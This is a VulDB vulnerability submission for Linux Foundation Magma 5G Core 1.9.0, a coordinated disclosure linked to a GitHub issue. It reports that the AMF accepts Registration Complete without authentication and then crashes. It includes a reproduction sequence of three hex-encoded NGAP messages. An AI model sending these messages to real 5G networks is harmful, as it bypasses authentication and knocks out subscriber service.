| タイトル | Linux Foundation Projects Magma 5G 1.9.0 Improper Authentication |
|---|
| 説明 | AMF accepts Registration Complete message after InitialUEMessage and the state is transitioned to REGISTERED_CONNECTED. This attempt to transition crashes the app as well.
To Reproduce
Start Magma Core with 5G support enabled and default configuration
Send the following NGAP messages sequentially
NGSetupRequest:
00 15 00 38 00 00 06 00 1b 00 08 00 00 f1 10 00 00 06 6c 00 52 40 05 01 00 52 41 4e 00 66 00 0d 00 00 00 00 07 00 00 f1 10 00 00 00 08 00 15 40 01 20 00 93 40 01 00 00 cc 40 01 00
InitialUEMessage:
00 0f 40 45 00 00 05 00 55 00 02 00 01 00 26 00 1b 1a 7e 00 41 79 00 0d 01 00 f1 10 00 00 00 00 00 00 00 00 10 2e 02 f0 80 10 01 00 00 79 00 0f 40 00 f1 10 00 00 00 00 00 00 f1 10 00 00 07 00 5a 40 01 18 00 70 40 01 00
UplinkNASTransport (Registration Complete):
00 2e 40 31 00 00 04 00 0a 00 02 00 16 00 55 00 02 00 01 00 26 00 0b 0a 7e 02 00 00 00 00 00 7e 00 43 00 79 40 0f 40 00 f1 10 00 00 00 00 00 00 f1 10 00 00 07
Impact
Incorrect State transition: Without authentication and security mode establishment, the gmm state is transitioned to REGISTERED.
Denial of Service: MME crashes and can cause denial of service
Authentication bypass: Due to the authentication bypassed, unexpected behavior may occur, no security context is established.
This issue was discovered several months ago. After chatting with the developer we decided to publicly disclose it and they will attempt to fix the issue. |
|---|
| ソース | ⚠️ https://github.com/magma/magma/issues/16020 |
|---|
| ユーザー | shovon0203 (UID 96191) |
|---|
| 送信 | 2026年07月15日 06:41 (2 月 ago) |
|---|
| モデレーション | 2026年08月29日 20:44 (2 months later) |
|---|
| ステータス | 承諾済み |
|---|
| VulDBエントリ | 397063 [Linux Foundation Magma 1.9.0 Registration Complete Message tasks/amf/amf_fsm.cpp 弱い認証] |
|---|
| ポイント | 20 |
|---|